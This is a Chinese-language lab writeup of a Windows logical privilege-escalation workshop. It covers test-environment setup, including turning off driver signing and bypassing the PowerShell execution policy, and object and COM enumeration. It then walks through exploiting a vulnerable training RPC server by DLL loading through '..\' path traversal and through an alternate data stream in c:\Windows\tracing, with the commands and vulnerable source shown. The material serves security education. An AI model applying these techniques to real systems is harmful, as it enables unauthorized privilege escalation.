Windows Logical EoP Workshop Writeup

Yuebin Sun(@yuebinsun2020)

这份文档是对 James Forshaw 2017 年公开的 《Windows Logical EoP Workshop》 逻辑漏洞本地提权 Workshop 的分析调试笔记。

1 环境搭建

1.1 虚拟机快照一次

如果方便,建议生成一次系统快照,方便实验结束之后恢复系统环境

1.2 关闭驱动签名验证,以便测试自己编写的驱动

只有关闭了这个签名验证的保护,Windows 系统才允许加载用户自己编写的驱动。另外,这个特性是针对 64 位 Windows 8/10 的,如果用的是 32 位系统,可以忽略。

管理员权限运行:

1
2
3
4
C:\Windows\system32>Bcdedit.exe -set TESTSIGNING ON
操作成功完成。

C:\Windows\system32>

1.2.1 [FAQ] 关闭驱动签名保护策略时遇到 ‘设置元素数据时出错’

1
2
3
4
5
C:\WINDOWS\system32>Bcdedit.exe -set TESTSIGNING ON
设置元素数据时出错。
该值受安全引导策略保护,无法进行修改或删除。

C:\WINDOWS\system32>

解决方法: 开机启动时,快速按 F2 进入 BIOS,选择 Boot 标签,将 Secure Boot 设置为 Disabled

1.3 驱动服务的注册 - 注册内核测试驱动服务、手动模式启动

1
2
3
C:\Windows\system32>sc create workshop binPath= "C:\workshop\Driver\x86\LogicalEoPWorkshopDriver.sys"  type= kernel start= demand
[SC] CreateService 成功
C:\Windows\system32>

注意每个参数 ‘=’ 的后面都有个空格,sc 命令的原型为:

1
2
sc [servername] create Servicename [Optionname= Optionvalues]

1.4 禁用 PowerShell 脚本的执行策略的限制

PowerShell 脚本执行策略从最严格到最宽松依次有几个级别:

  • Restricted: 说什么也不能执行
  • AllSigned: 有签名的才能执行
  • RemoteSigned: 网络下载的必须有签名才能执行
  • Unrestricted: 执行无限制,但是如果脚本是下载的,执行是会弹框提示
  • Bypass: 无任何限制,也不会弹框

执行策略的生效范围分为三个层次:

  • Process: 设置的策略仅影响当前的 powershell 进程,退出之后失效
  • CurrentUser: 仅影响当前用户,对其他用户启动的 powershell 进程无影响
  • LocalMachine: 影响当前机器上的所有用户

这里设置为最宽松策略,仅影响当前用户:

1
2
C:\WINDOWS\system32>powershell -Command "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass"
C:\WINDOWS\system32>

1.5 重启系统,使上述配置生效

这几个策略需要重启系统才能完全生效

1.6 启动服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Windows\system32>sc start workshop

SERVICE_NAME: workshop
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :

C:\Windows\system32>

2 DEMO 1: Viewing Token and Security Descriptors(查看 Token 和安全描述符)

查看进程 Token 的详细信息

利用 workshop\sandbox-attacksurface-analysis-tools\TokenViewer.exe 可以查看 Token 相关的各类安全属性信息,比如 Integrity Level

查看对象管理中某个对象的安全描述符的详细信息

1
2
3
4
PS C:\Users\test> Import-Module C:\workshop\sandbox-attacksurface-analysis-tools\NtObjectManager\NtObjectManager.psd1
PS C:\Users\test> $ev = New-NtEvent \BaseNamedObjects\abc
PS C:\Users\test> $ev.SecurityDescriptor.Owner.Sid
PS C:\Users\test> $ev.SecurityDescriptor.Dacl | Format-List

3 DEMO 2: Displaying Object Namespace

获取对象管理器中 \BaseNamedObjects 目录下的所有对象列表

1
2
PS C:\Users\test> Import-Module C:\workshop\sandbox-attacksurface-analysis-tools\NtObjectManager\NtObjectManager.psd1
PS C:\Users\test> Get-ChildItem NtObject:\BaseNamedObjects

递归获得对象管理器中所有的符号连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PS C:\Users\test> Get-ChildItem -Recurse NtObject:\ | Where-Object -Property IsSymbolicLink | Format-List
...
Name : GLOBAL??\WfpAle
TypeName : SymbolicLink
IsDirectory : False
IsSymbolicLink : True
RelativePath : GLOBAL??\WfpAle
SymbolicLinkTarget : \Device\WfpAle
MaximumGrantedAccess : Query, ReadControl
SecurityDescriptor : O:BAG:SYD:(A;;CCRC;;;WD)(A;;CCSDRCWDWO;;;SY)(A;;CCSDRCWDWO;;;BA)(A;;CCRC;;;RC)

Name : GLOBAL??\ACPI#GenuineIntel_-_x86_Family_6_Model_78_-_Intel(R)_Core(TM)_i7-6650U_CPU_@_2.20GHz#_
#{97fadb10-4e33-40ae-359c-8bef029dbdd0}
TypeName : SymbolicLink
IsDirectory : False
IsSymbolicLink : True
RelativePath : GLOBAL??\ACPI#GenuineIntel_-_x86_Family_6_Model_78_-_Intel(R)_Core(TM)_i7-6650U_CPU_@_2.20GHz#_
#{97fadb10-4e33-40ae-359c-8bef029dbdd0}
SymbolicLinkTarget : \Device\00000013
MaximumGrantedAccess : Query, ReadControl
SecurityDescriptor : O:BAG:SYD:(A;;CCRC;;;WD)(A;;CCSDRCWDWO;;;SY)(A;;CCSDRCWDWO;;;BA)(A;;CCRC;;;RC)

Name : KnownDlls\KnownDllPath
TypeName : SymbolicLink
IsDirectory : False
IsSymbolicLink : True
RelativePath : KnownDlls\KnownDllPath
SymbolicLinkTarget : C:\Windows\System32
MaximumGrantedAccess : Query, ReadControl
SecurityDescriptor : O:BAG:SYD:(A;;CCSDRCWDWO;;;BA)(A;;CCRC;;;WD)(A;;CCRC;;;RC)(A;;CCRC;;;AC)(A;;CCRC;;;S-1-15-2-2)

获得对象管理器中某个符号链接对象的目标对象

1
2
3
4
5
PS C:\Users\test> Get-NtSymbolicLinkTarget \global??\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7
\Device\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7

PS C:\Users\test> Get-NtSymbolicLinkTarget \??\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7
\Device\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7

3 DEMO 3 - Enumerating Accessible Resources(枚举指定进程可访问的进程列表)

以 MicrosoftEdgeCP 为例介绍如何枚举指定进程(通过 pid 指定)可以访问的目标进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\Users\test> cd C:\workshop\sandbox-attacksurface-analysis-tools
PS C:\workshop\sandbox-attacksurface-analysis-tools> .\CheckProcessAccess.exe
0: Idle Synchronize
8: SearchUI Full Access
3036: ShellExperienceHost Full Access
3304: CheckProcessAccess Full Access
3580: sihost Full Access
3592: svchost Full Access
3804: taskhostw Full Access
3908: ChsIME Full Access
3964: RuntimeBroker Full Access
3992: Full Access
4076: explorer Full Access
4504: TabTip Terminate|QueryLimitedInformation|Synchronize
4820: dllhost Full Access
4852: cmd Terminate|QueryLimitedInformation|Synchronize
4916: conhost Terminate|QueryLimitedInformation|Synchronize
5100: backgroundTaskHost Full Access
5284: smartscreen Full Access
5340: MSASCuiL Full Access
5404: powershell Full Access
5432: conhost Full Access
5480: vmtoolsd Full Access
5512: OneDrive Full Access
6092: audiodg QueryLimitedInformation
PS C:\workshop\sandbox-attacksurface-analysis-tools>
PS C:\workshop\sandbox-attacksurface-analysis-tools> $pidcp = Get-Process MicrosoftEdgeCP | Select-Object Id
PS C:\workshop\sandbox-attacksurface-analysis-tools> .\CheckProcessAccess.exe -p $pidcp.Id
0: Idle Synchronize
3000: MicrosoftEdge QueryInformation|QueryLimitedInformation|Synchronize
5280: MicrosoftEdgeCP Full Access
PS C:\workshop\sandbox-attacksurface-analysis-tools>

4 DEMO 4: Inspecting Accessible COM Services(枚举可以访问的 COM 服务)

COM、服务

COM 是一种实现方式,应用程序可以通过 COM 接口调用目标组件提供的服务,COM 组件可以注册成进程内(In-Process) 和独立进程实现,相应的,当用户程序调用该接口时,系统会选择将 COM 的实现 DLL 加载进用户进程空间或者是选择拉起独立进程。

漏洞挖掘中,一般只关注独立进程实现的 COM 服务,因为这样的服务如果存在漏洞才有可能被用于沙箱逃逸,In-Process 类型的 COM,即便存在漏洞并成功触发,那也还是在当前进程空间(比如在沙箱进程内部),继承的是当前进程的权限。

服务与 COM 本身没有关系,服务是个独立的概念,通过 Windows Service Manager 管理的后台程序,该程序提供某些功能或者暴露一些接口,有些服务会暴露 COM 接口对外提供服务。

DCOM(COM) 在注册时会拥有一个唯一的标识符 AppID,用户程序可以通过 AppID 指定目标 COM,在比较新的 Windows 版本中,可以为 AppID 额外指定一个名字。

AppID 是谁生成的呢?AppID 本身是 GUID,由 Guidgen.exe 生成,在 COM 注册的时候,需要在注册表中写入这个以 GUID 命名的注册表键到 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\ ,参考 MSDN AppIDWhat is AppID 以及 分布式组件对象Distribute Component Object Model(DCOM)的配置

查看当前测试进程可以访问的 COM 服务

打开如下工具,打开之后默认显示注册表的统计信息,包括 AppID 的计数、ProgID 的计数、各类服务 CLSID 的计数等等。

1
C:\workshop\OleViewDotNet\OleViewDotNet.exe

过滤出当前进程可以访问的 App

1
2
1. 菜单 -> Registry -> App IDs
2. 右侧过滤栏 -> mode -> Accessible -> Apply -> Current Process

查看 Edge Content Process 可以访问的 COM 组件

步骤基本同上,在 Apply 之后选择 Specific Process,选择 MicrosoftEdgeCP

查看 Edge Content Process 可以访问的 COM 组件,并且只查看服务类型的

在上面过滤出 Edge Content Process 进程可访问组件的基础上,克隆一份然后设置过滤器,过滤出 Service 类型

1
mode -> Complex -> Apply -> Type = AppId, Field = IsService -> Add,添加过滤器,然后确定

此时会过滤出服务类型的 COM 组件

5 DEMO 5 - Exploiting Path Canonicalization(路径归一化相关漏洞的利用,如’..'的拼接)

字符串拼接路径与 LoadLibrary

从 RpcServer.exe 打印的信息来看,测试 LoadLibrary 项时,输入 abc.dll,输出信息显示实际加载路径为 C:\Windows\abc.dll,所以,配合 ..\ 可以实现加载任意路径 DLL

1
2
3
4
5
6
7
C:\Windows\system32>c:\workshop\ExploitTools\RpcServer.exe
Called on binding 'ncalrpc:DESKTOP-5A86UND[RpcWorkshop]'
TestLoadLibrary called
Loading path: C:\Windows\abc.dll
Error loading module: TestLoadLibrary called
Loading path: C:\Windows\..\..\..\..\..\workshop\ExploitTools\TestDll.dll
Loaded module: 65450000

该漏洞所在函数的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
extern "C" boolean TestLoadLibrary(handle_t hBinding, const wchar_t* name)
{
printf("TestLoadLibrary called\n");
std::wstring full_path = GetPathFromEnv(FOLDERID_Windows) + L"\\" + name; // 字符串拼接配合 ..\ 可以绕过路径限制
printf("Loading path: %ls\n", full_path.c_str());
HMODULE hModule = LoadLibrary(full_path.c_str());
if (hModule != nullptr)
{
printf("Loaded module: %p\n", hModule);
FreeLibrary(hModule);
return true;
}
else
{
printf("Error loading module: %ls\n", GetErrorMessage(GetLastError()).c_str());
}

return false;
}

6 DEMO 6: Exploiting Named Streams

前面几步同上,后面选择 3 Test Load Library with Path Check,继续输入 ..\ 拼接的 DLL 路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[RPC Tests]
1 - Test Create Process
2 - Test Load Library
3 - Test Load Library with Path Check

Specify operation number: 3

Specify library name: ..\..\..\..\workshop\ExploitTools\testdll32.dll
Error calling RPC function
[RPC Tests]
1 - Test Create Process
2 - Test Load Library
3 - Test Load Library with Path Check
4 - Test Load Library TOCTOU
5 - Test Load Library TOCTOU Hardened
6 - Duplicate handle
0 - Exit Menu

这次没有成功,RpcServer.exe 提示发现了路径分隔符,经过几次测试发现,RpcServer.exe 会检查输入的路径中是否含有 ‘/‘ 和 ‘' 分隔符,如果有则拒绝加载

1
2
TestLoadLibraryCanonical called
Error, name contains path separators

所以我们的目标就是,路径中不出现 ‘/‘和’',但是路径指向的文件又是可控的(在 Tasks、tracing 目录下创建的文件也不行)

在文档中,James Forshaw 给出的方法是 ADS(Alternate Data Steam),在 C:\Windows 目录下,找到可以写入 Data Stream 的路径写入 TestDll32.dll。

他找的的路径是 c:\windows\tracing,经过测试发现普通用户(非管理员)有权限向 c:\windows\tracing 目录写入 ADS

1
2
3
4
c:\workshop\ExploitTools>CopyFile.exe TestDll32.dll c:\Windows\tracing:xyz.dll
Copied TestDll32.dll to c:\Windows\tracing:xyz.dll

c:\workshop\ExploitTools>

之后再次测试 Test Load Library with Path Check,路径输入 tracding:xyz.dll,成功!

6.1 c:\windows\tracing 路径的权限有什么特殊吗

比 c:\windows\ 下的其他目录多好几个权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
c:\workshop\ExploitTools>..\sandbox-attacksurface-analysis-tools\CheckFileAccess.exe c:\Windows

\??\c:\Windows\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\_default.pif : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\bfsvc.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\bootstat.dat : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\DtcInstall.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\explorer.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\HelpPane.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\hh.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\lsasetup.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\mib.bin : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\notepad.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Professional.xml : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\regedit.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\setupact.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\setuperr.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\splwow64.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\system.ini : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\twain.dll : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\twain_32.dll : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\twunk_16.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\twunk_32.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\win.ini : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\WindowsShell.Manifest : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\WindowsUpdate.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\winhelp.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\winhlp32.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\WMSysPr9.prx : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\write.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\addins\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\appcompat\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\apppatch\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\AppReadiness\ : 00120089 ListDirectory, ReadEa, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\assembly\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\bcastdvr\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\BitLockerDiscoveryVolumeContents\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Boot\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Branding\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\CbsTemp\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Cursors\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\debug\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\diagnostics\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\DigitalLocker\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Downloaded Program Files\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\ELAMBKUP\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\en-US\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Fonts\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\GameBarPresenceWriter\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Globalization\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Help\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\IME\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\ImmersiveControlPanel\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\INF\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\InputMethod\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Installer\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\L2Schemas\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Logs\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Media\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Microsoft.NET\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Migration\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\MiracastView\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\OCR\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Offline Web Pages\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Panther\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Performance\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\PLA\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\PolicyDefinitions\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\PrintDialog\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Provisioning\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Registration\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\RemotePackages\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\rescache\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Resources\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\SchCache\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\schemas\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\security\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\ServiceProfiles\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\servicing\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Setup\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\ShellExperiences\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\SKB\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\SoftwareDistribution\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Speech\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Speech_OneCore\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\System\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\System32\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\SystemApps\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\SystemResources\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\TAPI\ : 00120089 ListDirectory, ReadEa, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Tasks\ : 001200AB ListDirectory, AddFile, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\tracing\ : 001201BF ListDirectory, AddFile, AddSubDirectory, ReadEa, WriteEa, Traverse, ReadAttributes, WriteAttributes, ReadControl, Synchronize
\??\c:\Windows\twain_32\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Vss\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\Web\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\WinSxS\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\zh-CN\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
Error dumping file \??\c:\Windows\CSC (0xC0000022) - {无法访问}
过程已请求访问一对象,但未给访问权限。

Error dumping file \??\c:\Windows\InfusedApps (0xC0000022) - {无法访问}
过程已请求访问一对象,但未给访问权限。

Error dumping file \??\c:\Windows\LiveKernelReports (0xC0000022) - {无法访问}
过程已请求访问一对象,但未给访问权限。

Error dumping file \??\c:\Windows\ModemLogs (0xC0000022) - {无法访问}
过程已请求访问一对象,但未给访问权限。

Error dumping file \??\c:\Windows\Prefetch (0xC0000022) - {无法访问}
过程已请求访问一对象,但未给访问权限。

Error dumping file \??\c:\Windows\Temp (0xC0000022) - {无法访问}
过程已请求访问一对象,但未给访问权限。

6.2 非管理员权限启动的 console shell 具有什么用户权限

如果当前用户属于管理员组(Administrators),那么启动的 shell 进程是具有 limited token,比如访问 c:\windows\system32 会被拒绝,而管理员权限的 shell 进程具有 full token

6.3 创建 ADS 需要什么权限

对比测试 c:\Windows\tracing 和 c:\Windows\Tasks 两个目录

1
2
3
4
5
6
7
c:\workshop\ExploitTools>CopyFile.exe TestDll32.dll c:\Windows\tracing:xyz.dll
Copied TestDll32.dll to c:\Windows\tracing:xyz.dll

c:\workshop\ExploitTools>CopyFile.exe TestDll32.dll c:\Windows\Tasks:xyz.dll
Error copying file

c:\workshop\ExploitTools>

向 c:\Windows\Tasks 目录创建 ADS 失败了,

对比查看两个文件夹的 permissions

1
2
3
\??\c:\Windows\Tasks\ : 001200AB ListDirectory, AddFile, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize
\??\c:\Windows\tracing\ : 001201BF ListDirectory, AddFile, AddSubDirectory, ReadEa, WriteEa, Traverse, ReadAttributes, WriteAttributes, ReadControl, Synchronize

Tasks 目录缺少的 Permission 为:AddSubDirectory、WriteEa、WriteAttributes

剩下这 3 个可疑的权限,如何判断是哪个生效的呢?

鼠标右键新建一个测试文件夹 c:\workshop\test_ads,默认情况下 test_ads 会继承 c:\ 的访问权限。当前用户具有对该文件夹的读/写/修改权限等大部分权限。

文件夹右键->属性->安全->高级->禁用继承->将已经继承的权限转换为当前文件的显式权限->此时就可以编辑各个权限了,针对某个具体的高级权限启用或者禁用

根据实际测试, AddSubDirectory、WriteEa、WriteAttributes 这三个权限,缺少哪个,都不能在 test_ads 文件夹中创建 ADS 和拷贝文件。这一点与 James Forshaw PPT 第 88 页的结果不太一致,他只强调了 AddSubDirectory 权限与 Alternate Data Steam 创建有关。

6.4 如何查看依附在某个文件或者文件夹上的 ADS

利用 Sysinternals 工具集中的 streams.exe 工具可以查看

1
2
3
4
5
6
7
8
PS C:\Users\test> C:\workshop\Sysinternals\streams.exe C:\Windows\tracing

Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Windows\tracing:
:xyz.dll:$DATA 205824

6.5 如何删除 ADS(Alternate Data Steam)

目前还没有找到直接删除 ADS 的快捷方法,只看到有文章中提到可以通过 ren(重命名)的方式实现,相当于删除目录(或文件)之后再次创建。

6.6 该漏洞所在的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
//RpcServer.c
extern "C" boolean TestLoadLibraryCanonical(handle_t hBinding, const wchar_t* name)
{
printf("TestLoadLibraryCanonical called\n");
if (wcschr(name, '\\') || wcschr(name, '/'))
{
printf("Error, name contains path separators\n");
return false;
}

std::wstring full_path = GetPathFromEnv(FOLDERID_Windows) + L"\\" + name;
return TestLoadLibrary(hBinding, name);
}

7 DEMO 7 : TOCTOU on Name

选择 TOCTOU LoadLibrary 测试项目之后,提示加载失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Specify library name: Tasks\xyz.dll
Error calling RPC function
[RPC Tests]
1 - Test Create Process
2 - Test Load Library
3 - Test Load Library with Path Check
4 - Test Load Library TOCTOU
5 - Test Load Library TOCTOU Hardened
6 - Duplicate handle
0 - Exit Menu
Specify operation number: 4

Specify library name: tracing:xyz.dll
Error calling RPC function

服务端的输出日志提示是 Verify 失败

1
Error verifying file: Module not in system directory

查看源码, LoadLibrary 之前调用了系统 API WinVerifyTrust 检测了文件签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
extern "C" boolean TestLoadLibraryTocTou(handle_t hBinding, const wchar_t* lib_path)
{
if (VerifyEmbeddedSignature(lib_path))
{
HMODULE hModule = LoadLibrary(lib_path);
if (hModule != nullptr)
{
printf("Loaded module: %p\n", hModule);
FreeLibrary(hModule);
return true;
}
else
{
printf("Error loading module: %ls\n", GetErrorMessage(GetLastError()).c_str());
}
}
else
{
printf("Module not in system directory\n");
}

return false;
}

bool VerifyEmbeddedSignature(LPCWSTR pwszSourceFile)
{
//...
lStatus = WinVerifyTrust(
NULL,
&WVTPolicyGUID,
&WinTrustData);

bool ret = false;

switch (lStatus)
{
case ERROR_SUCCESS:
ret = true;
break;
default:
printf("Error verifying file: %ls\n", GetErrorMessage(GetLastError()).c_str());
break;
}
//...
return ret;
}

